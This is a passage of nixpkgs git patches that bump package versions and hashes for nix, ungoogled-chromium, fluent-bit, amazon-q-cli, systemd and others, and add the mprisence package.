Subject: [PATCH 3489/4511] nixVersions.nix_2_30: init at 2.30.1

(cherry picked from commit e7f032a12593dbb3bd242b333ff8df34bfac2da1)
---
 pkgs/tools/package-management/nix/default.nix | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 7d0a6f7cba56..36cf92db1f06 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -209,6 +209,20 @@ lib.makeExtensible (
 
       nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything;
 
+      nixComponents_2_30 = nixDependencies.callPackage ./modular/packages.nix rec {
+        version = "2.30.1";
+        inherit (self.nix_2_24.meta) maintainers teams;
+        otherSplices = generateSplicesForNixComponents "nixComponents_2_30";
+        src = fetchFromGitHub {
+          owner = "NixOS";
+          repo = "nix";
+          tag = version;
+          hash = "sha256-4+xPVJBeYLlIn+fOS5F0iq/DclpCXnmh4Y7VzAIr/a8=";
+        };
+      };
+
+      nix_2_30 = addTests "nix_2_30" self.nixComponents_2_30.nix-everything;
+
       nixComponents_git = nixDependencies.callPackage ./modular/packages.nix rec {
         version = "2.31.0pre20250711_${lib.substring 0 8 src.rev}";
         inherit (self.nix_2_24.meta) maintainers teams;

From 371e6f58c1ba83c5c94796be0fd7e80ef8b3b435 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Sun, 27 Jul 2025 15:08:33 +1000
Subject: [PATCH 3490/4511] nixVersions.nix_2_30: 2.30.1 -> 2.30.2

Diff: https://github.com/NixOS/nix/compare/refs/tags/2.30.1...refs/tags/2.30.2
(cherry picked from commit 895a7bd8425722d095e02017cf1231a608b4d839)
---
 pkgs/tools/package-management/nix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 36cf92db1f06..ef9a7817b9b0 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -210,14 +210,14 @@ lib.makeExtensible (
       nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything;
 
       nixComponents_2_30 = nixDependencies.callPackage ./modular/packages.nix rec {
-        version = "2.30.1";
+        version = "2.30.2";
         inherit (self.nix_2_24.meta) maintainers teams;
         otherSplices = generateSplicesForNixComponents "nixComponents_2_30";
         src = fetchFromGitHub {
           owner = "NixOS";
           repo = "nix";
           tag = version;
-          hash = "sha256-4+xPVJBeYLlIn+fOS5F0iq/DclpCXnmh4Y7VzAIr/a8=";
+          hash = "sha256-U46fAs+j2PfWWqP1zNi1odhnV4030SQ0RoEC8Eah1OQ=";
         };
       };
 

From 1a0b5ddacde7d045c980d926ea6db39b60d23734 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Wed, 13 Aug 2025 21:05:59 +0200
Subject: [PATCH 3491/4511] ungoogled-chromium: 139.0.7258.66-1 ->
 139.0.7258.127-1

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_12.html

This update includes 6 security fixes.

CVEs:
CVE-2025-8879 CVE-2025-8880 CVE-2025-8901 CVE-2025-8881 CVE-2025-8882

(cherry picked from commit a78ad08df3cb5921f74e1a64b2734a0e5e48d7ad)
---
 .../networking/browsers/chromium/info.json    | 26 +++++++++----------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index ce000998626a..5573dafed151 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "139.0.7258.66",
+    "version": "139.0.7258.127",
     "deps": {
       "depot_tools": {
         "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
@@ -813,16 +813,16 @@
         "hash": "sha256-m+z10s40Q/iYcoMw3o/+tmhIdqHMsYJjdGabHrK/aqo="
       },
       "ungoogled-patches": {
-        "rev": "139.0.7258.66-1",
-        "hash": "sha256-/8zIJk1RxmFPt81qKCXpEEOrH2Jg6cdHGPdtp0zxdHE="
+        "rev": "139.0.7258.127-1",
+        "hash": "sha256-CdzvDG4ZGRHVnRsLUDD8gWLzcwJJAqEZdEraqVYgs2U="
       },
       "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "a62d329947691f76c376a873eae39f56381103c8",
-        "hash": "sha256-RWqOw0Kogz2GwbICet7NdcGnZMrkkE4bu70jU+tbYFQ=",
+        "rev": "5dc2cf9cf870d324cd9fba708f26d2572cc6d4d8",
+        "hash": "sha256-YcOVErOKKruc3kPuXhmeibo3KL+Rrny1FEwF769+aEU=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -897,8 +897,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "0145c376fadde16390298681252785f98ae90185",
-        "hash": "sha256-8ztvupTvp5v8lTq3eo/viR9X85qm+bw8299jxr6XslE="
+        "rev": "5f3636345f1d8afd495e2fcc474fd81e91c4866b",
+        "hash": "sha256-fx+QD0T85Js9jPQx2aghJU8UOL6WbR0bOkGY2i87A3w="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -1202,8 +1202,8 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "0ddc6630b3723b14b164752d46c27752f078ddd3",
-        "hash": "sha256-cs1+5vBEFPqzi1vbxiSgujrLIoaXZROZaRJq2gRdUrE="
+        "rev": "90c632fc6c01cd8637186c783ca8012bab3c3260",
+        "hash": "sha256-e+rUkNOakv6WQrgx1ozoJTynk/GZy1zdsnYX4oz+6ks="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
@@ -1432,8 +1432,8 @@
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "cbc694239b06ecf694676aba22d5263dbc23ee5e",
-        "hash": "sha256-5vIwNP9RbtUVtgKKDiZd6NVkR2Ed3DUqZWESTUM+fIs="
+        "rev": "2d6f1aa4be9c33b013c322b2bc9cd99a682243b6",
+        "hash": "sha256-VysJkpCRRYNdCStnXvo6wyMCv1gLHecMwefKiwypARc="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "b07b4e9376489c7f7c0ff2af5eceb4261b3bb784",
-        "hash": "sha256-MnrieVgkvlkWKZ0O790gDSCrgF9c+XEk/XLHQDzMqVY="
+        "rev": "505ec917b67c535519bebec58c62a34f145dd49f",
+        "hash": "sha256-fsf8j2Spe++vSnuO8763eWWmMhYqcyybpILb7OkkXq4="
       }
     }
   }

From 85ecd6a3c086cbc03cdec6dd93d6076d35ab3e7b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 12 Aug 2025 11:28:07 +0000
Subject: [PATCH 3492/4511] fluent-bit: 4.0.5 -> 4.0.7

(cherry picked from commit 995a386f6224e73614cddc941cffe5f032ef5dfc)
---
 pkgs/by-name/fl/fluent-bit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fl/fluent-bit/package.nix b/pkgs/by-name/fl/fluent-bit/package.nix
index 2d6def07f392..44c76b12ea20 100644
--- a/pkgs/by-name/fl/fluent-bit/package.nix
+++ b/pkgs/by-name/fl/fluent-bit/package.nix
@@ -29,13 +29,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "fluent-bit";
-  version = "4.0.5";
+  version = "4.0.7";
 
   src = fetchFromGitHub {
     owner = "fluent";
     repo = "fluent-bit";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-wxis93xdSVRHpBfl06DlOkDnch58iSpXFMAFCtOXzbU=";
+    hash = "sha256-ytLPjgODX1JKuyRD5uzJiZnJRKApZ9HSjQV5f+Ur22c=";
   };
 
   # The source build documentation covers some dependencies and CMake options.

From d8764b49815b00dbd480c323c3d3994f6572f1dc Mon Sep 17 00:00:00 2001
From: "Michael Barney, Jr" <mbarneyme@gmail.com>
Date: Tue, 24 Jun 2025 17:11:36 -0400
Subject: [PATCH 3493/4511] amazon-q-cli: add darwin to supported platforms

(cherry picked from commit 0f24e4c03365149b012ba3ce1bc0595abc5f3c0a)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index 76c0b81d8c46..aa7045261e80 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -16,6 +16,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-oY2hDOsws2WVQPKEFhGNPHITo26p/UZ5XzvRX7DoMyc=";
   };
 
+  nativeBuildInputs = [
+    rustPlatform.bindgenHook
+  ];
+
   cargoHash = "sha256-xriK88OY6W1cOZVgiUPBIuItVHwEyFNq5Ywh367K6CU=";
 
   cargoBuildFlags = [
@@ -55,6 +59,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "--skip=init_lint_zsh_pre_zprofile"
     "--skip=init_lint_zsh_pre_zshrc"
     "--skip=telemetry::cognito::test::pools"
+    "--skip=auth::pkce::tests::test_pkce_flow_with_state_mismatch_throws_err"
+    "--skip=auth::pkce::tests::test_pkce_flow_completes_successfully"
+    "--skip=auth::pkce::tests::test_pkce_flow_with_authorization_redirect_error"
+    "--skip=auth::pkce::tests::test_pkce_flow_with_timeout"
+    "--skip=request::tests::request_test"
   ];
 
   doInstallCheck = true;
@@ -71,6 +80,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ];
     mainProgram = "amazon-q";
     maintainers = [ lib.maintainers.jamesward ];
-    platforms = lib.platforms.linux;
+    platforms = lib.platforms.linux ++ lib.platforms.darwin;
   };
 })

From a3033a9adee9ad9a2ffa89d600151d13ea81be53 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 00:38:47 +0000
Subject: [PATCH 3494/4511] amazon-q-cli: 1.12.1 -> 1.12.2

(cherry picked from commit 8d40136f8de9bec3fa0eb236fe69908410e0581c)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index aa7045261e80..5530702471f7 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -7,20 +7,20 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "amazon-q-cli";
-  version = "1.12.1";
+  version = "1.12.2";
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "amazon-q-developer-cli-autocomplete";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-oY2hDOsws2WVQPKEFhGNPHITo26p/UZ5XzvRX7DoMyc=";
+    hash = "sha256-TIKG1nzpmjiHE+EjTJR+/GklQNJQeUzmDXaPEiRT80Y=";
   };
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
   ];
 
-  cargoHash = "sha256-xriK88OY6W1cOZVgiUPBIuItVHwEyFNq5Ywh367K6CU=";
+  cargoHash = "sha256-lJbHPqQ3eybo03oZY2VyKlsxcTdbdrc8q8AjV+IahEY=";
 
   cargoBuildFlags = [
     "-p"

From 5742d4c6f3901589b5bbd8c06360410634cb5868 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 11 Jul 2025 07:46:24 +0000
Subject: [PATCH 3495/4511] amazon-q-cli: 1.12.2 -> 1.12.4

(cherry picked from commit 0bcdde01294b874346912f489fb9c3338b8102ce)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index 5530702471f7..df0989e597a5 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -7,20 +7,20 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "amazon-q-cli";
-  version = "1.12.2";
+  version = "1.12.4";
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "amazon-q-developer-cli-autocomplete";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-TIKG1nzpmjiHE+EjTJR+/GklQNJQeUzmDXaPEiRT80Y=";
+    hash = "sha256-juZuqZkBsIHhLOCZk+QpTaO1BsHj2RZyCvkvc0G5KbU=";
   };
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
   ];
 
-  cargoHash = "sha256-lJbHPqQ3eybo03oZY2VyKlsxcTdbdrc8q8AjV+IahEY=";
+  cargoHash = "sha256-BT3LNOkRf4gfBy5SwuAnMoJVF9PmwiLsS5phdtEgIrs=";
 
   cargoBuildFlags = [
     "-p"

From fec11171288b6cd50b8f36aae202db73aca5b821 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 19 Jul 2025 13:12:24 +0000
Subject: [PATCH 3496/4511] amazon-q-cli: 1.12.4 -> 1.12.6

(cherry picked from commit 663bdedb457ce009b2fd414178e027364292462d)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index df0989e597a5..d9191596f2ef 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -7,20 +7,20 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "amazon-q-cli";
-  version = "1.12.4";
+  version = "1.12.6";
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "amazon-q-developer-cli-autocomplete";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-juZuqZkBsIHhLOCZk+QpTaO1BsHj2RZyCvkvc0G5KbU=";
+    hash = "sha256-IjM9eFoFfy/WV6lPJB1mnRZYoXLIiVozjzmnXEnU2MA=";
   };
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
   ];
 
-  cargoHash = "sha256-BT3LNOkRf4gfBy5SwuAnMoJVF9PmwiLsS5phdtEgIrs=";
+  cargoHash = "sha256-XZX8EisHQ1vqbrV8VnXrah3o1h3iKCxzPsKk6Z+aKzU=";
 
   cargoBuildFlags = [
     "-p"

From dfba93cbf92ae10f55f22dc538331f554c24d0f6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 27 Jul 2025 17:41:55 +0000
Subject: [PATCH 3497/4511] amazon-q-cli: 1.12.6 -> 1.12.7

(cherry picked from commit 29ea9737f601eafbe9998a5976c7d33832c7cf2b)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index d9191596f2ef..7130ecabf49f 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -7,20 +7,20 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "amazon-q-cli";
-  version = "1.12.6";
+  version = "1.12.7";
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "amazon-q-developer-cli-autocomplete";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-IjM9eFoFfy/WV6lPJB1mnRZYoXLIiVozjzmnXEnU2MA=";
+    hash = "sha256-K9OwA7qEv+yPYL4vv/ZhDK2mhW/jYmGFLEQ9oX2pjUE=";
   };
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
   ];
 
-  cargoHash = "sha256-XZX8EisHQ1vqbrV8VnXrah3o1h3iKCxzPsKk6Z+aKzU=";
+  cargoHash = "sha256-C8uc9/g70fBpEeSagNcSfv/KHpW2zJdRvWe2bpTzHRU=";
 
   cargoBuildFlags = [
     "-p"

From da36114ad4890de1593747a7b64e9c993da8c9e5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 5 Aug 2025 16:00:40 +0000
Subject: [PATCH 3498/4511] amazon-q-cli: 1.12.7 -> 1.13.1

(cherry picked from commit 0d34ec98b941ef002416b749bb460b7be3e9537a)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index 7130ecabf49f..5162823dfb12 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -7,20 +7,20 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "amazon-q-cli";
-  version = "1.12.7";
+  version = "1.13.1";
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "amazon-q-developer-cli-autocomplete";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-K9OwA7qEv+yPYL4vv/ZhDK2mhW/jYmGFLEQ9oX2pjUE=";
+    hash = "sha256-YQNBgOS94laEBhht8eeT8ZgtfXjjAMCeAI22z9SjpGs=";
   };
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
   ];
 
-  cargoHash = "sha256-C8uc9/g70fBpEeSagNcSfv/KHpW2zJdRvWe2bpTzHRU=";
+  cargoHash = "sha256-VPJuuUzrtFpZjFog4WENI3eTw9IUNZw3mt5IYHW7MuE=";
 
   cargoBuildFlags = [
     "-p"

From 4c59feaf51fa1f663eab137d134156368beb8d07 Mon Sep 17 00:00:00 2001
From: misilelab <misileminecord@gmail.com>
Date: Fri, 8 Aug 2025 01:22:21 +0900
Subject: [PATCH 3499/4511] systemd: 257.7 -> 257.8

https://github.com/systemd/systemd/compare/v257.7...v257.8
Signed-off-by: misilelab <misileminecord@gmail.com>
(cherry picked from commit d8e966caccba22c83200e6edadc8161f6c9ae8f8)
---
 ....build-do-not-create-systemdstatedir.patch |  4 +-
 ...ail-when-the-same-file-is-updated-mu.patch | 57 -------------------
 ...> 0018-meson-Don-t-link-ssh-dropins.patch} |  2 +-
 ...it_file_exists_full-follow-symlinks.patch} |  0
 ...-NSCD-when-DNSSEC-validation-is-dis.patch} |  0
 pkgs/os-specific/linux/systemd/default.nix    | 14 ++---
 6 files changed, 8 insertions(+), 69 deletions(-)
 delete mode 100644 pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
 rename pkgs/os-specific/linux/systemd/{0019-meson-Don-t-link-ssh-dropins.patch => 0018-meson-Don-t-link-ssh-dropins.patch} (96%)
 rename pkgs/os-specific/linux/systemd/{0020-install-unit_file_exists_full-follow-symlinks.patch => 0019-install-unit_file_exists_full-follow-symlinks.patch} (100%)
 rename pkgs/os-specific/linux/systemd/{0021-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch => 0020-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch} (100%)

diff --git a/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch b/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch
index 76b85b8db674..65cd257a8a41 100644
--- a/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch
+++ b/pkgs/os-specific/linux/systemd/0017-meson.build-do-not-create-systemdstatedir.patch
@@ -8,10 +8,10 @@ Subject: [PATCH] meson.build: do not create systemdstatedir
  1 file changed, 1 deletion(-)
 
 diff --git a/meson.build b/meson.build
-index 7ede6f7a96..90860be99a 100644
+index a4730f0570..b5aaecd669 100644
 --- a/meson.build
 +++ b/meson.build
-@@ -2795,7 +2795,6 @@ install_data('LICENSE.GPL2',
+@@ -2815,7 +2815,6 @@ install_data('LICENSE.GPL2',
  install_subdir('LICENSES',
                 install_dir : docdir)
  
diff --git a/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch b/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
deleted file mode 100644
index 70c3f0ef5f26..000000000000
--- a/pkgs/os-specific/linux/systemd/0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
-From: Yu Watanabe <watanabe.yu+github@gmail.com>
-Date: Wed, 19 Jun 2024 16:11:23 +0900
-Subject: [PATCH] bootctl: do not fail when the same file is updated multiple
- times
-
-In the second or later trial, copy_file_with_version_check() -> version_check()
-fails with -ESRCH. Let's ignore the failure.
-
-This also adds missing assertions in update_efi_boot_binaries(), and
-drop redundant version check in update_efi_boot_binaries(), as version
-will be anyway checked later.
-
-Fixes a regression caused by 929f41c6528fb630753d4e2f588a8eb6c2f6a609.
-Fixes #33392.
----
- src/bootctl/bootctl-install.c | 16 +++++++---------
- 1 file changed, 7 insertions(+), 9 deletions(-)
-
-diff --git a/src/bootctl/bootctl-install.c b/src/bootctl/bootctl-install.c
-index e15c2c6bed..5b4cff5d5e 100644
---- a/src/bootctl/bootctl-install.c
-+++ b/src/bootctl/bootctl-install.c
-@@ -329,6 +329,9 @@ static int update_efi_boot_binaries(const char *esp_path, const char *source_pat
-         _cleanup_free_ char *p = NULL;
-         int r, ret = 0;
- 
-+        assert(esp_path);
-+        assert(source_path);
-+
-         r = chase_and_opendir("/EFI/BOOT", esp_path, CHASE_PREFIX_ROOT|CHASE_PROHIBIT_SYMLINKS, &p, &d);
-         if (r == -ENOENT)
-                 return 0;
-@@ -354,19 +357,14 @@ static int update_efi_boot_binaries(const char *esp_path, const char *source_pat
-                 if (r == 0)
-                         continue;
- 
--                r = get_file_version(fd, &v);
--                if (r == -ESRCH)
--                        continue;  /* No version information */
--                if (r < 0)
--                        return r;
--                if (!startswith(v, "systemd-boot "))
--                        continue;
--
-                 _cleanup_free_ char *dest_path = path_join(p, de->d_name);
-                 if (!dest_path)
-                         return log_oom();
- 
--                RET_GATHER(ret, copy_file_with_version_check(source_path, dest_path, /* force = */ false));
-+                r = copy_file_with_version_check(source_path, dest_path, /* force = */ false);
-+                if (IN_SET(r, -ESTALE, -ESRCH))
-+                        continue;
-+                RET_GATHER(ret, r);
-         }
- 
-         return ret;
diff --git a/pkgs/os-specific/linux/systemd/0019-meson-Don-t-link-ssh-dropins.patch b/pkgs/os-specific/linux/systemd/0018-meson-Don-t-link-ssh-dropins.patch
similarity index 96%
rename from pkgs/os-specific/linux/systemd/0019-meson-Don-t-link-ssh-dropins.patch
rename to pkgs/os-specific/linux/systemd/0018-meson-Don-t-link-ssh-dropins.patch
index 55d8f989e842..da170d869ad7 100644
--- a/pkgs/os-specific/linux/systemd/0019-meson-Don-t-link-ssh-dropins.patch
+++ b/pkgs/os-specific/linux/systemd/0018-meson-Don-t-link-ssh-dropins.patch
@@ -8,7 +8,7 @@ Subject: [PATCH] meson: Don't link ssh dropins
  1 file changed, 2 insertions(+), 2 deletions(-)
 
 diff --git a/meson.build b/meson.build
-index 90860be99a..f021f76031 100644
+index b5aaecd669..91b23f2d72 100644
 --- a/meson.build
 +++ b/meson.build
 @@ -207,13 +207,13 @@ sshconfdir = get_option('sshconfdir')
diff --git a/pkgs/os-specific/linux/systemd/0020-install-unit_file_exists_full-follow-symlinks.patch b/pkgs/os-specific/linux/systemd/0019-install-unit_file_exists_full-follow-symlinks.patch
similarity index 100%
rename from pkgs/os-specific/linux/systemd/0020-install-unit_file_exists_full-follow-symlinks.patch
rename to pkgs/os-specific/linux/systemd/0019-install-unit_file_exists_full-follow-symlinks.patch
diff --git a/pkgs/os-specific/linux/systemd/0021-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch b/pkgs/os-specific/linux/systemd/0020-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch
similarity index 100%
rename from pkgs/os-specific/linux/systemd/0021-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch
rename to pkgs/os-specific/linux/systemd/0020-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch
diff --git a/pkgs/os-specific/linux/systemd/default.nix b/pkgs/os-specific/linux/systemd/default.nix
index ff8829c3a683..fcab55384069 100644
--- a/pkgs/os-specific/linux/systemd/default.nix
+++ b/pkgs/os-specific/linux/systemd/default.nix
@@ -197,7 +197,7 @@ assert withBootloader -> withEfi;
 let
   wantCurl = withRemote || withImportd;
 
-  version = "257.7";
+  version = "257.8";
 
   # Use the command below to update `releaseTimestamp` on every (major) version
   # change. More details in the commentary at mesonFlags.
@@ -215,7 +215,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "systemd";
     repo = "systemd";
     rev = "v${version}";
-    hash = "sha256-9OnjeMrfV5DSAoX/aetI4r/QLPYITUd2aOY0DYfkTzQ=";
+    hash = "sha256-XQ+IyRar74qQij96CKClHXW0kkPnGeKUgA8ULiWh5YY=";
   };
 
   # On major changes, or when otherwise required, you *must* :
@@ -245,19 +245,15 @@ stdenv.mkDerivation (finalAttrs: {
     ./0016-systemctl-edit-suggest-systemdctl-edit-runtime-on-sy.patch
     ./0017-meson.build-do-not-create-systemdstatedir.patch
 
-    # https://github.com/systemd/systemd/issues/33392
-    # https://github.com/systemd/systemd/pull/33400
-    ./0018-bootctl-do-not-fail-when-the-same-file-is-updated-mu.patch
-
     # systemd tries to link the systemd-ssh-proxy ssh config snippet with tmpfiles
     # if the install prefix is not /usr, but that does not work for us
     # because we include the config snippet manually
-    ./0019-meson-Don-t-link-ssh-dropins.patch
+    ./0018-meson-Don-t-link-ssh-dropins.patch
 
-    ./0020-install-unit_file_exists_full-follow-symlinks.patch
+    ./0019-install-unit_file_exists_full-follow-symlinks.patch
   ]
   ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isGnu) [
-    ./0021-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch
+    ./0020-timesyncd-disable-NSCD-when-DNSSEC-validation-is-dis.patch
   ]
   ++ lib.optionals stdenv.hostPlatform.isMusl (
     let

From 000f2b045472646b58a38779f8d9fa01638b7448 Mon Sep 17 00:00:00 2001
From: ToasterUwU <Aki@ToasterUwU.com>
Date: Wed, 13 Aug 2025 08:01:01 +0200
Subject: [PATCH 3500/4511] mprisence: init at 1.2.4

(cherry picked from commit 0c08b21a748456085fda4f9f05076e58e68d4fdc)
---
 pkgs/by-name/mp/mprisence/package.nix | 38 +++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)
 create mode 100644 pkgs/by-name/mp/mprisence/package.nix

diff --git a/pkgs/by-name/mp/mprisence/package.nix b/pkgs/by-name/mp/mprisence/package.nix
new file mode 100644
index 000000000000..70adacdba0dc
--- /dev/null
+++ b/pkgs/by-name/mp/mprisence/package.nix
@@ -0,0 +1,38 @@
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
+  pkg-config,
+  dbus,
+  openssl,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "mprisence";
+  version = "1.2.4";
+
+  src = fetchFromGitHub {
+    owner = "lazykern";
+    repo = "mprisence";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-eUUUHjR6wnbaPb1QD9luEVvu5qSAxG5c4TuMjnzRV40=";
+  };
+
+  cargoHash = "sha256-BnzDMvwqQ56VFc7AuzsfyZ002qcmRaAOMfipynZ1/Mc=";
+
+  nativeBuildInputs = [ pkg-config ];
+
+  buildInputs = [
+    dbus
+    openssl
+  ];
+
+  meta = with lib; {
+    description = "Highly customizable Discord Rich Presence for MPRIS media players on Linux";
+    homepage = "https://github.com/lazykern/mprisence";
+    license = licenses.mit;
+    maintainers = with maintainers; [ toasteruwu ];
+    sourceProvenance = with sourceTypes; [ fromSource ];
+    mainProgram = "mprisence";
+  };
+})

From c5e8147551ce1332e69620264f06583a5353908e Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 13 Aug 2025 14:21:28 +0200
Subject: [PATCH 3501/4511] proton-ge-bin: GE-Proton10-11 -> GE-Proton10-12

(cherry picked from commit 4f3e0b708cadf6ebe60653f8eba3e3c10a7071f3)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index 1e62be6dfb21..275efa042add 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
